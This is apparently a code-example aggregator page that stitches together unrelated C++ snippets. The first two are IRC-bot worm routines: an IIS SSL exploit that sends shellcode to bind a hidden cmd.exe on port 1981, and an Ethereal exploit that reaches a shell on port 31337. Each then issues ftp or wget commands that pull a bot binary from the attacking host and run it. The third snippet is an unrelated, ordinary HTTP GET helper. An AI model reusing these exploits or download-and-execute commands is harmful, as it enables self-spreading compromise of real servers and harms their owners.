Exemple #1
0
bool CScannerHTTP::ExploitIISSSL(int iHTTPType) {
	unsigned int	i;
	unsigned char	*badbuf, *p;
	unsigned long	offset=0x6741a1cd, XOR=0xffffffff;

	if(g_pMainCtrl->m_pBot->scaninfo_level.iValue >= 2) {
		SendLocal("%s: scanning ip %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } 
	
	char sslshit[]="\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";

	/* hidden cmd.exe, bind port 1981 */
	char shellcode[]="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x9E\x24\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99";

	badbuf=(unsigned char*)malloc(347); memset(badbuf, 0, 347);
	p=badbuf; memcpy(p, sslshit, sizeof(sslshit));
	p+=sizeof(sslshit)-1; strcat((char*)p, jumper);
	strcat((char*)p, greetings_to_microsoft);

	offset^=XOR; strncat((char*)p, (char*)&offset, 4);
	strcat((char*)p, shellcode);

	if(!m_sSocket.Write((char*)badbuf, 346)) { m_sSocket.Disconnect(); return false; }
	Sleep(1000); CSocket outSocket;
	if(!outSocket.Connect(m_sSocket.m_szHost, 1981)) {
		if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2)
			SendLocal("%s: Not vulnerable: %s", m_sScannerName.CStr(), m_sSocket.m_szHost);
		m_sSocket.Disconnect(); return false; }

	/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
	/* Thanks to PhaTTy for this piece of code :)                */
	char mkdir_buff[400]="";
	int iPort=g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue;
	/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

	sprintf(mkdir_buff, "echo open %s %d > bla.txt\necho user blah blah >> bla.txt\necho binary >> bla.txt\necho get %s >> bla.txt\necho quit >> bla.txt\nftp.exe -n -s:bla.txt\n%s\n",
		g_pMainCtrl->m_pIRC->m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe");

	char szRecvBuf[8192];
	if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) {
		m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }

	Sleep(500);

	if(!outSocket.Write((char *) mkdir_buff, sizeof(mkdir_buff))) {
		m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }

	/* successful!!! */
	if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) {
		SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); }

	m_sSocket.Disconnect(); return true; }
bool CScannerEthereal::Exploit() {
	if(!IsPrivate(g_pMainCtrl->m_pIRC->m_sLocalIp.CStr()) && IsPrivate(m_sSocket.m_szHost)) return false;

	// We need root to exploit this cause we need to spoof packets
	if(getuid()) return false;

	ExploitInt(0); ExploitInt(1); ExploitInt(2); ExploitInt(3);
	
	CSocket sShellSocket; if(sShellSocket.Connect(m_sSocket.m_szHost, 31337)) {
		CString sCmdBuf; sShellSocket.RecvTO(sCmdBuf.GetBuffer(8192), 8192, 2000);
		sCmdBuf.Format("echo -e open %s %d\\nuser ftp bla\\nget bot\\nquit\\n | ftp -n\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
		sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
		sCmdBuf.Format("wget ftp://bla:bla@%s:%d/bot\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
		sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
		sCmdBuf.Assign("chmod 777 ./bot ; ./bla\n");
		sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
		sShellSocket.Disconnect(); return true; } else return false; }
Exemple #3
0
CString ExecuteHTTPGet (const CString &sInput)
	{
	//	Parse the input

	char *pPos = sInput.GetParsePointer() + STR_HTTP_GET_PREFIX.GetLength();

	//	Parse the URL

	CString sHost;
	CString sPath;
	if (!urlParse(pPos, NULL, &sHost, &sPath))
		return CString("Invalid URL.");

	//	If no host, then local host

	if (sHost.IsEmpty())
		sHost = CString("localhost");

	//	Connect

	CSocket theSocket;
	if (!theSocket.Connect(sHost, 80))
		return strPattern("Unable to connect to: %s.", sHost);

	//	Compose a request

	CHTTPMessage Request;
	Request.InitRequest(CString("GET"), sPath);
	Request.AddHeader(HEADER_HOST, sHost);
	Request.AddHeader(HEADER_CONNECTION, CString("keep-alive"));
#ifdef DEBUG_REQUEST_FRAGMENT_X
	Request.AddHeader(HEADER_USER_AGENT, CString("AI1/1.0 (This is a test of the header parsing system in Hexarc. There is probably a bug in which splitting the header across packets will cause failure of the HTTP parsing engine.)"));
#else
	Request.AddHeader(HEADER_USER_AGENT, CString("AI1/1.0"));
#endif

	//	Send the request

	CBuffer Buffer(4096);
	Request.WriteToBuffer(Buffer);

#ifdef DEBUG_REQUEST_FRAGMENT
	int iTotalLen = Buffer.GetLength();
	int iSplit = 105;

	if (iSplit < iTotalLen)
		{
		printf("Split at %d bytes\n", iSplit);
		CString sPart(Buffer.GetPointer(), iSplit);
		printf("%s\n", (LPSTR)sPart);

		theSocket.Write(Buffer.GetPointer(), iSplit);
		::Sleep(10);
		theSocket.Write(Buffer.GetPointer() + iSplit, iTotalLen - iSplit);
		}
	else
		theSocket.Write(Buffer.GetPointer(), Buffer.GetLength());
#else
	theSocket.Write(Buffer.GetPointer(), Buffer.GetLength());
#endif

	//	Now read the response. We build up a buffer to hold it.

	CHTTPMessage Response;
	CBuffer ResponseBuff;

	//	Keep reading until we've got enough (or until the connection drops)

	while (!Response.IsMessageComplete())
		{
		CBuffer TempBuffer(8192);

		//	Read

		int iBytesRead = theSocket.Read(TempBuffer.GetPointer(), 8192);
		TempBuffer.SetLength(iBytesRead);

		//	If we're no making progress, then we're done

		if (iBytesRead == 0)
			return strPattern("Unable to read entire message.");

		//	Add to entire buffer

		ResponseBuff.Write(TempBuffer.GetPointer(), iBytesRead);

		//	Parse to see if we're done

		if (!Response.InitFromPartialBuffer(TempBuffer))
			return strPattern("Unable to parse HTTP message.");
		}

	//	Done

	theSocket.Disconnect();

	return CString(ResponseBuff.GetPointer(), ResponseBuff.GetLength());
	}